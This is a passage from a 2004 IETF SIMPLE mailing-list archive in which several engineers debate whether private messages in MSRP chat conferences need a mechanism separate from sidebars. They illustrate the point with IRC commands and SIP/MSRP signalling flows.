> > >>>>>>>	INVITE ROOLZ #my_channel
> > >>>>>>>
> > >>>>>>>Joining this new channel as a result of an invitation=20
> > >>>
> > >>>(with JOIN)
> > >>>
> > >>>>>>>usually results in a new window, moving the focus of=20
> > >>>>>
> > >>>>>conversation away
> > >>>>>
> > >>>>>>>from the original channel, but still maintaining the=20
> > >>>>>
> > >>>>>original channel'
> > >>>>>
> > >>>>>>>and its messages active in the background.
> > >>>>>>>
> > >>>>>>>The users may again send messages either to the entire=20
> > >>>>>>>channel (MSG), or
> > >>>>>>>to only one participant (PRIVMSG). A recipient of an=20
> > >>
> > >>INVITE will
> > >>
> > >>>>>>>generally make a choice just like in a SIP=20
> invitation whether=20
> > >>>>>>>or not to
> > >>>>>>>join the sidebar or not. Receiving a PRIVMSG requires no=20
> > >>>>>
> > >>>>>actions from
> > >>>>>
> > >>>>>>>the recipient. Indeed, it might even go unnoticed.
> > >>>>>>>
> > >>>>>>>Taking this into account, I fail to see how sidebars alone=20
> > >>>>>
> > >>>>>can be made
> > >>>>>
> > >>>>>>>to work in providing similar functionality in MSRP=20
> > >>>>>
> > >>>>>conferences. Either
> > >>>>>
> > >>>>>>>sidears or private messages alone won't result in the=20
> > >>>>
> > >>>>same level of
> > >>>>
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>Wrapping all private conversation inside a sidebar is=20
> > >>
> > >>incredibly
> > >>
> > >>>>>>>inefficient and results in bad user experience, since there=20
> > >>>>>>>is no way to
> > >>>>>>>distinguish a REFER that is to a sidebar whose sole purpose=20
> > >>>>>>>is to send a
> > >>>>>>>single private message to the user or have a real ad-hoc=20
> > >>>>>
> > >>>>>conversation
> > >>>>>
> > >>>>>>>posibly consisting of a real exchange of messages. In fact,=20
> > >>>>>
> > >>>>>this would
> > >>>>>
> > >>>>>>>require 4 rounds of singalling (not including sidebar=20
> > >>>
> > >>>creation and
> > >>>
> > >>>>>>>tear-down), plus user interaction in between:
> > >>>>>>>
> > >>>>>>>REFER (to sidebar)
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>-Query/inform user whether wants to join-
> > >>>>>>>
> > >>>>>>>INVITE (to sidebar)
> > >>>>>>>200 OK
> > >>>>>>>ACK
> > >>>>>>>
> > >>>>>>>(Note: would probably also require subscription to=20
> > >>>>
> > >>>>conference-info,
> > >>>>
> > >>>>>>>because one would be interested to whom they are sending=20
> > >>>>
> > >>>>the private
> > >>>>
> > >>>>>>>messages...)
> > >>>>>>>
> > >>>>>>>MSRP SEND
> > >>>>>>>MSRP OK
> > >>>>>>>
> > >>>>>>>BYE
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>...as opposed to a single round of messages:
> > >>>>>>>
> > >>>>>>>MSRP SEND (private)
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>(Note that enabling auto-answering wrt the REFER=20
> would in the=20
> > >>>>>>>worst case
> > >>>>>>>result in a sidebar bombardment, or having a user be=20
> > >>>>
> > >>>>moved over to a
> > >>>>
> > >>>>>>>sidebar in the middle of, say, message composition.)
> > >>>>>>>
> > >>>>>>>The same level of functionality would also not be met with=20
> > >>>>>
> > >>>>>only using
> > >>>>>
> > >>>>>>>private messages. AFAIK, the purpose of a sidebar is to=20
> > >>>>>
> > >>>>>move the focus
> > >>>>>
> > >>>>>>>of the conversation temporarily outside the original=20
> > >>>>>
> > >>>>>conference. This
> > >>>>>
> > >>>>>>>requires being able to wrap a discussion into a separate=20
> > >>>>>>>context. A very
> > >>>>>>>important aspect of this is to let the user decide=20
> whether to=20
> > >>>>>>>joing such
> > >>>>>>>a sidebar, and when to join it. Determining to which=20
> context a
> > >>>>>>>particular received private message belongs to can in this=20
> > >>>>>>>case only be
> > >>>>>>>done in the recipients head - there are no protocol=20
> > >>>>>
> > >>>>>elements to help.
> > >>>>>
> > >>>>>>>As a conclusion, I don't see how sidebars alone can provide=20
> > >>>>>>>the required
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>So, the question is, do we see the perceived efficiency=20
> > >>>>>>>
> > >>>>>>>improvements=20
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>of a pager-mode sidebar as being sufficiently good to=20
> > >>>
> > >>>allow for=20
> > >>>
> > >>>>>>>>defining a separate sidebar mechanism for it?
> > >>>>>>>
> > >>>>>>>It is also about user interaction. When a user receives an=20
> > >>>>>>>INVITE for an
> > >>>>>>>MSRP session, it can make a choice just like in a voice=20
> > >>>>
> > >>>>call between
> > >>>>
> > >>>>>>>accepting the call or rejecting it. Page mode doesn't=20
> > >>>>
> > >>>>provide that=20
> > >>>>
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>Cheers,
> > >>>>>>>Aki
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>-Jonathan R.
> > >>>>>>>
> > >>>>>_______________________________________________
> > >>>>>Simple mailing list
> > >>>>>Simple@ietf.org
> > >>>>>https://www1.ietf.org/mailman/listinfo/simple
> > >>>>>
> > >>>>
> > >=20
> >=20
> > --=20
> > Miguel A. Garcia           tel:+358-50-4804586
> > Nokia Research Center      Helsinki, Finland
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 01:39:53 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06443
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 01:39:53 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3Yq-0008WK-MY
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 01:39:24 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i226dOHM032746
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 01:39:24 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3Yq-0008W5-EO
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 01:39:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06436
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 01:39:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Yn-0006uA-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:39:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3Xs-0006nh-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:38:26 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3XZ-0006h5-00; Tue, 02 Mar 2004 01:38:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3XX-0008Ga-AS; Tue, 02 Mar 2004 01:38:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3Wt-00084I-5d
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:37:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06341
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:37:21 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Wq-0006fI-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:37:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3W3-0006YR-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:36:33 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3VD-0006QR-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:35:40 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226ZUL23386;
	Tue, 2 Mar 2004 08:35:30 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:35:21 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i226ZLLj013596;
	Tue, 2 Mar 2004 08:35:21 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 002NY0Ly; Tue, 02 Mar 2004 08:35:20 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226ZKO14975;
	Tue, 2 Mar 2004 08:35:20 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:35:20 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179780F@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcQAD/Tfq8BZrPj4TS2KINYQDNyBqQAD1MwQ
To: <Brian.Rosen@marconi.com>, <Miguel.An.Garcia@nokia.com>,
        <Markus.Isomaki@nokia.com>
Cc: <aki.niemi@nokia.com>, <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>,
        <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 06:35:20.0685 (UTC) FILETIME=[88C609D0:01C40020]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 08:35:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

How about this:

You are in a chat conference and you want to send a private message to 1 =
or more participants. If you expect to have side conversation (more than =
1 message exchanged), then you create a side bar.

If you want to send a one-off message to some of the participants, then =
you send a SIP MESSAGE request to the focus using exploder techniques =
where the recipients addresses are carried in the MESSAGE itself. This =
introduces 2 problems:

1. How can the MESSAGE be related to the conference? This info can be =
carried in a header of the MESSAGE. Haven't thought what header yet.
2. If users are using nicknames (whatever that means, my definition here =
means that users are hiding their real identity), then the conference =
focus needs to find for which conference this private message is =
intended for participants in, using 1 above, and explode to them.

Of course, we just use MSRP within the existing session and avoid the 2 =
problems above. I believe this is what Aki, Markus and Miguel are trying =
to solve. It is really just like a page mode IM to participants in the =
conference.

Thanks,
Hisham

> -----Original Message-----
> From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: 02.March.2004 06:34
> To: Garcia Miguel.An (Nokia-NRC/Helsinki); Isomaki Markus
> (Nokia-NRC/Helsinki)
> Cc: Niemi Aki (Nokia-M/Espoo); jdrosen@dynamicsoft.com;
> pkyzivat@cisco.com; Khartabil Hisham (Nokia-TP-MSW/Helsinki);
> simple@ietf.org
> Subject: RE: [Simple] Chat sessions
>=20
>=20
> Doesn't work for me; you don't need a resource URI for a=20
> sidebar.  You might
> be
> able to use one, but its not necessary.  The only characteristic of a
> sidebar
> that matters is that the media goes to a subset of participants.
>=20
> You need some identifier in all cases. =20
>=20
> Let me push this in another direction.
>=20
> What makes a private message different from an instant=20
> message to a totally
> arbitrary person (not related to the main conference)?  Is it=20
> just that the
> set of possible destinations is limited to those in the main=20
> conference?
> Why is that interesting in a protocol sense?
>=20
> Brian
>=20
> > -----Original Message-----
> > From: Miguel Garcia [mailto:Miguel.An.Garcia@nokia.com]
> > Sent: Monday, March 01, 2004 9:29 PM
> > To: Isomaki Markus (Nokia-NRC/Helsinki)
> > Cc: ext Rosen, Brian; Niemi Aki (Nokia-M/Espoo);
> > jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> > (Nokia-TP-MSW/Helsinki); simple@ietf.org
> > Subject: Re: [Simple] Chat sessions
> >=20
> >=20
> > Folks, what about this one:
> >=20
> > A sidebar conference is a temporary scoped subconference. By=20
> > temporary=20
> > scoped I mean it exists  (has an associated resource URI) for some=20
> > duration time. The participants may or may not be part of the main=20
> > conference. Messages are addressed to the sidebar conference, in a=20
> > similar way a message is addressed to the conference. The=20
> > sender may or=20
> > may not know who are the members of the sidebar conference.
> >=20
> > A private message is not temporary scoped and it is not=20
> > identified by a=20
> > resource URI. Unlike sidebar conferences, the participants=20
> > are a subset=20
> > of the conference. Unlike sidebar conferences, private messages are=20
> > addressed to each of the receivers, since there is not a resource=20
> > associated with it. The sender has to explicitly define the=20
> > receivers of=20
> > the message.
> >=20
> > Miguel
> >=20
> > Isomaki Markus (Nokia-NRC/Helsinki) wrote:
> >=20
> > > Hi,
> > >=20
> > > I don't see us getting to agreement here... Still, see below:
> > >=20
> > >=20
> > >>-----Original Message-----
> > >>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > >>Sent: 02 March, 2004 03:35
> > >>To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
> > >>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> > >>(Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
> > >>simple@ietf.org
> > >>Subject: RE: [Simple] Chat sessions
> > >>
> > >>
> > >>What is the difference between a sidebar and a private message?
> > >>
> > >>I think the ONLY difference is the number of people involved.
> > >>
> > >>A sidebar is two or more.  A private message is exactly two.
> > >>
> > >=20
> > >=20
> > > I don't think we need to limit the number of recipients for=20
> > the private message. The only thing is that they need to be=20
> > conference participants.
> > >=20
> > >=20
> > >>There is NO other meaningful difference.
> > >>
> > >>Your argument on overhead is directly comparable to the argument
> > >>we went through when we defined sidebars as separate sessions.
> > >>I argued that we should NOT create a separate session, but
> > >>simply alter the media policy appropriately.  You are simply
> > >>repeating the arguments I made.
> > >>
> > >>I lost that argument. =20
> > >>
> > >=20
> > >=20
> > > My comment to that is that there are differences in medias=20
> > that should be taken into account. As you see in the example=20
> > I made, having only one solution leads to hugely unoptimal system.=20
> > >=20
> > >=20
> > >>Brian
> > >>
> > >>
> > >>>-----Original Message-----
> > >>>From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > >>>Sent: Monday, March 01, 2004 8:16 PM
> > >>>To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> > >>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> > >>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;=20
> > >>>simple@ietf.org
> > >>>Subject: RE: [Simple] Chat sessions
> > >>>
> > >>>
> > >>>Hi,
> > >>>
> > >>>It seems we are not getting the message through ;)
> > >>>
> > >>>Let's see how sending a private message looks like as a=20
> > >>>sidebar vs. as proposed in the current draft. The case is=20
> > >>>this: Users A and B participate in the same conference, A=20
> > >>>wants to send a private message to B.
> > >>>
> > >>>Sidebar case would be roughly like this:
> > >>>1. A creates a conference for a sidebar using INVITE
> > >>>   - new MSRP session is established between A and the new=20
> > >>>focus instance
> > >>>2. A refers B to that conference
> > >>>3. B joins the conference
> > >>>   - new MSRP session is established
> > >>>4. A sends MSRP SEND request to the conference
> > >>>5. focus forwards it to B
> > >>>6. A sends BYE
> > >>>7. focus sends BYE to B
> > >>>
> > >>>If B replies after 10 seconds, the whole process is followed=20
> > >>>again from 1 to 7.
> > >>>
> > >>>Private message case:
> > >>>1. A sends private message targeted to B over an existing=20
> > >>
> > >>MSRP session
> > >>
> > >>>2. focus forwards it to B
> > >>>
> > >>>So which solution would you like to adopt?=20
> > >>>
> > >>>Markus
> > >>>
> > >>>
> > >>>
> > >>>>-----Original Message-----
> > >>>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > >>>>Sent: 01 March, 2004 12:41
> > >>>>To: Niemi Aki (Nokia-M/Espoo)
> > >>>>Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> > >>>>pkyzivat@cisco.com; Khartabil Hisham=20
> > >>
> > >>(Nokia-TP-MSW/Helsinki); Garcia
> > >>
> > >>>>Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> > >>>>Subject: RE: [Simple] Chat sessions
> > >>>>
> > >>>>
> > >>>>Aki
> > >>>>
> > >>>>My post was meant to point out that we had decided to=20
> > >>>>implement sidebars
> > >>>>as separate dialogs from main conferences, which is similar=20
> > >>>
> > >>>to making
> > >>>
> > >>>>"private messages" separate dialogs from a main IM=20
> > >>
> > >>dialog.  In that
> > >>
> > >>>>way, I think that sidebars and private messages are the=20
> > >>>
> > >>>same; they are
> > >>>
> > >>>>media sent to a subset of participants in the group.  If there
> > >>>>is a reason to allow a special way to subset destinations for a
> > >>>>private message rather than the entire chat group, then whatever
> > >>>>argument you make would apply to a sidebar. =20
> > >>>>
> > >>>>Brian
> > >>>>
> > >>>>
> > >>>>>-----Original Message-----
> > >>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>>>>Sent: Monday, March 01, 2004 2:58 AM
> > >>>>>To: ext Rosen, Brian
> > >>>>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > >>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>>>>Subject: Re: [Simple] Chat sessions
> > >>>>>
> > >>>>>
> > >>>>>Brian,
> > >>>>>
> > >>>>>I've never argued for private messages over sidebars. I still=20
> > >>>>>maintain=20
> > >>>>>that sidebars and private messages are different and=20
> > >>>>
> > >>>>*complimentary*=20
> > >>>>
> > >>>>>features, and that we need *both* to have a complete=20
> > >>>>
> > >>>>solution for IM=20
> > >>>>
> > >>>>>conferences.
> > >>>>>
> > >>>>>Cheers,
> > >>>>>Aki
> > >>>>>
> > >>>>>ext Rosen, Brian wrote:
> > >>>>>
> > >>>>>>Aki
> > >>>>>>
> > >>>>>>When we were discussing sidebars, I made arguments like=20
> > >>>>>
> > >>>>>this against making
> > >>>>>
> > >>>>>>a sidebar
> > >>>>>>a separate session.  Sidebars, I argued, are just media=20
> > >>>>>
> > >>>>>(mixing) changes,
> > >>>>>
> > >>>>>>they have
> > >>>>>>nothing to do with session management.
> > >>>>>>
> > >>>>>>I lost this argument, and I will be very unhappy if IM=20
> > >>>>>
> > >>>>>works differently.
> > >>>>>
> > >>>>>>One of
> > >>>>>>the reasons I lost it was the observation that a sidebar=20
> > >>>>>
> > >>>>>could include
> > >>>>>
> > >>>>>>participants
> > >>>>>>who are not main conference participants.  I think you have=20
> > >>>>>
> > >>>>>the same issue
> > >>>>>
> > >>>>>>here.
> > >>>>>>
> > >>>>>>Brian
> > >>>>>>
> > >>>>>>
> > >>>>>>
> > >>>>>>>-----Original Message-----
> > >>>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>>>>>>Sent: Sunday, February 29, 2004 12:40 PM
> > >>>>>>>To: ext Jonathan Rosenberg
> > >>>>>>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > >>>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>>>>>>Subject: Re: [Simple] Chat sessions
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>ext Jonathan Rosenberg wrote:
> > >>>>>>><snip />
> > >>>>>>>
> > >>>>>>>>>3. As Aki explained, sidebars and private IMs within a=20
> > >>>>
> > >>>>conference=20
> > >>>>
> > >>>>>>>>>are two different things. Sidebars are subconferences,=20
> > >>>>>
> > >>>>>that include
> > >>>>>
> > >>>>>>>>>a certain subset of the participants in the main=20
> > >>>>>
> > >>>>>conference. They=20
> > >>>>>
> > >>>>>>>>>need to be explicitly created and deleted. Private=20
> > >>>
> > >>>IMs within a=20
> > >>>
> > >>>>>>>>>conference are also targeted to a subset of the conference=20
> > >>>>>>>>>participants. But there is no need to setup a sidebar or=20
> > >>>>>
> > >>>>>any other=20
> > >>>>>
> > >>>>>>>>>additional context to send them. The recipients can=20
> > >>
> > >>simply be=20
> > >>
> > >>>>>>>>>signaled within each message (as proposed by using CPIM=20
> > >>>>>
> > >>>>>To header).
> > >>>>>
> > >>>>>>>>>This seems to be a specific property of IM, as=20
> > >>
> > >>this sort of=20
> > >>
> > >>>>>>>>>addressing would be impossible e.g. in RTP. In=20
> > >>
> > >>theory priate=20
> > >>
> > >>>>>>>>>messaging facility could be supported by sidebars, but in=20
> > >>>>>
> > >>>>>this case
> > >>>>>
> > >>>>>>>>>the focus would need to have as many sidebars constantly=20
> > >>>>>
> > >>>>>setup, as
> > >>>>>
> > >>>>>>>>>there are different possible participant subset=20
> > >>>>>
> > >>>>>combinations. Way=20
> > >>>>>
> > >>>>>>>>>too complex and not needed.
> > >>>>>>>>
> > >>>>>>>>
> > >>>>>>>>I dont think that, functionally, what you are describing is=20
> > >>>>>>>
> > >>>>>>>different
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>from a sidebar. What differs is that the specifics of=20
> > >>>>
> > >>>>this media=20
> > >>>>
> > >>>>>>>>type allow for a more efficient implementation of the=20
> > >>>>
> > >>>>sidebar than=20
> > >>>>
> > >>>>>>>>would be possible for another media type, such as audio.=20
> > >>>>>>>
> > >>>>>>>Indeed, the=20
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>same is true for IM in general - why set up a session (ala=20
> > >>>>>>>
> > >>>>>>>msrp) when
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>you can just send a pager mode?
> > >>>>>>>
> > >>>>>>>The ultimate proof of difference in functionality is=20
> > >>>
> > >>>that private
> > >>>
> > >>>>>>>messages are usable and useful in a sidebar - in fact=20
> > >>>
> > >>>it makes no
> > >>>
> > >>>>>>>difference whether they're sent within the context of a=20
> > >>>>>
> > >>>>>conference, a
> > >>>>>
> > >>>>>>>conference sidebar, or a sidebar of a conference sidebar.
> > >>>>>>>
> > >>>>>>>Let me provide a concrete example of an already existing=20
> > >>>>>
> > >>>>>service (IRC)
> > >>>>>
> > >>>>>>>that has what I think is a close approximation of both=20
> > >>>
> > >>>sidebar and
> > >>>
> > >>>>>>>private message functionality. (BTW, I feel strongly=20
> > >>>
> > >>>that if MSRP
> > >>>
> > >>>>>>>conferences aren't as feature rich as IRC is, and=20
> provide the=20
> > >>>>>>>same user
> > >>>>>>>experience, we've failed miserably.)
> > >>>>>>>
> > >>>>>>>Channels in IRC have identities, e.g., #helsinki, and=20
> > >>>>>>>participant lists
> > >>>>>>>that are delivered in a very similar manner that the=20
> > >>>>
> > >>>>conference-info
> > >>>>
> > >>>>>>>events would be delivered. Users join these channels=20
> > >>>>
> > >>>>using JOIN, at
> > >>>>
> > >>>>>>>which time they get the participant list, and after that,=20
> > >>>>>>>updates e.g.,
> > >>>>>>>whenever anyone leaves or joins the channel.
> > >>>>>>>
> > >>>>>>>Users can send private messages to the other participants in=20
> > >>>>>>>the channel:
> > >>>>>>>
> > >>>>>>>	PRIVMSG foobar :Some nick you got there foobar!
> > >>>>>>>
> > >>>>>>>Usually, these messages are displayed in the same pane as=20
> > >>>>>
> > >>>>>the rest of
> > >>>>>
> > >>>>>>>the channel's messages, including information about the=20
> > >>>
> > >>>sender but
> > >>>
> > >>>>>>>marked accordingly as private.
> > >>>>>>>
> > >>>>>>>A user can also invite others to a sidebar of sorts, that=20
> > >>>>
> > >>>>is, a new
> > >>>>
> > >>>>>>>channel, whose properties can be set such that it can=20
> > >>>
> > >>>be joined by
> > >>>
> > >>>>>>>invitation only.
> > >>>>>>>
> > >>>>>>>	INVITE FunnyNick #my_channel
> > >>>>>>>	INVITE BeerLover #my_channel
> > >>>>>>>	INVITE ROOLZ #my_channel
> > >>>>>>>
> > >>>>>>>Joining this new channel as a result of an invitation=20
> > >>>
> > >>>(with JOIN)
> > >>>
> > >>>>>>>usually results in a new window, moving the focus of=20
> > >>>>>
> > >>>>>conversation away
> > >>>>>
> > >>>>>>>from the original channel, but still maintaining the=20
> > >>>>>
> > >>>>>original channel'
> > >>>>>
> > >>>>>>>and its messages active in the background.
> > >>>>>>>
> > >>>>>>>The users may again send messages either to the entire=20
> > >>>>>>>channel (MSG), or
> > >>>>>>>to only one participant (PRIVMSG). A recipient of an=20
> > >>
> > >>INVITE will
> > >>
> > >>>>>>>generally make a choice just like in a SIP=20
> invitation whether=20
> > >>>>>>>or not to
> > >>>>>>>join the sidebar or not. Receiving a PRIVMSG requires no=20
> > >>>>>
> > >>>>>actions from
> > >>>>>
> > >>>>>>>the recipient. Indeed, it might even go unnoticed.
> > >>>>>>>
> > >>>>>>>Taking this into account, I fail to see how sidebars alone=20
> > >>>>>
> > >>>>>can be made
> > >>>>>
> > >>>>>>>to work in providing similar functionality in MSRP=20
> > >>>>>
> > >>>>>conferences. Either
> > >>>>>
> > >>>>>>>sidears or private messages alone won't result in the=20
> > >>>>
> > >>>>same level of
> > >>>>
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>Wrapping all private conversation inside a sidebar is=20
> > >>
> > >>incredibly
> > >>
> > >>>>>>>inefficient and results in bad user experience, since there=20
> > >>>>>>>is no way to
> > >>>>>>>distinguish a REFER that is to a sidebar whose sole purpose=20
> > >>>>>>>is to send a
> > >>>>>>>single private message to the user or have a real ad-hoc=20
> > >>>>>
> > >>>>>conversation
> > >>>>>
> > >>>>>>>posibly consisting of a real exchange of messages. In fact,=20
> > >>>>>
> > >>>>>this would
> > >>>>>
> > >>>>>>>require 4 rounds of singalling (not including sidebar=20
> > >>>
> > >>>creation and
> > >>>
> > >>>>>>>tear-down), plus user interaction in between:
> > >>>>>>>
> > >>>>>>>REFER (to sidebar)
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>-Query/inform user whether wants to join-
> > >>>>>>>
> > >>>>>>>INVITE (to sidebar)
> > >>>>>>>200 OK
> > >>>>>>>ACK
> > >>>>>>>
> > >>>>>>>(Note: would probably also require subscription to=20
> > >>>>
> > >>>>conference-info,
> > >>>>
> > >>>>>>>because one would be interested to whom they are sending=20
> > >>>>
> > >>>>the private
> > >>>>
> > >>>>>>>messages...)
> > >>>>>>>
> > >>>>>>>MSRP SEND
> > >>>>>>>MSRP OK
> > >>>>>>>
> > >>>>>>>BYE
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>...as opposed to a single round of messages:
> > >>>>>>>
> > >>>>>>>MSRP SEND (private)
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>(Note that enabling auto-answering wrt the REFER=20
> would in the=20
> > >>>>>>>worst case
> > >>>>>>>result in a sidebar bombardment, or having a user be=20
> > >>>>
> > >>>>moved over to a
> > >>>>
> > >>>>>>>sidebar in the middle of, say, message composition.)
> > >>>>>>>
> > >>>>>>>The same level of functionality would also not be met with=20
> > >>>>>
> > >>>>>only using
> > >>>>>
> > >>>>>>>private messages. AFAIK, the purpose of a sidebar is to=20
> > >>>>>
> > >>>>>move the focus
> > >>>>>
> > >>>>>>>of the conversation temporarily outside the original=20
> > >>>>>
> > >>>>>conference. This
> > >>>>>
> > >>>>>>>requires being able to wrap a discussion into a separate=20
> > >>>>>>>context. A very
> > >>>>>>>important aspect of this is to let the user decide=20
> whether to=20
> > >>>>>>>joing such
> > >>>>>>>a sidebar, and when to join it. Determining to which=20
> context a
> > >>>>>>>particular received private message belongs to can in this=20
> > >>>>>>>case only be
> > >>>>>>>done in the recipients head - there are no protocol=20
> > >>>>>
> > >>>>>elements to help.
> > >>>>>
> > >>>>>>>As a conclusion, I don't see how sidebars alone can provide=20
> > >>>>>>>the required
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>So, the question is, do we see the perceived efficiency=20
> > >>>>>>>
> > >>>>>>>improvements=20
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>of a pager-mode sidebar as being sufficiently good to=20
> > >>>
> > >>>allow for=20
> > >>>
> > >>>>>>>>defining a separate sidebar mechanism for it?
> > >>>>>>>
> > >>>>>>>It is also about user interaction. When a user receives an=20
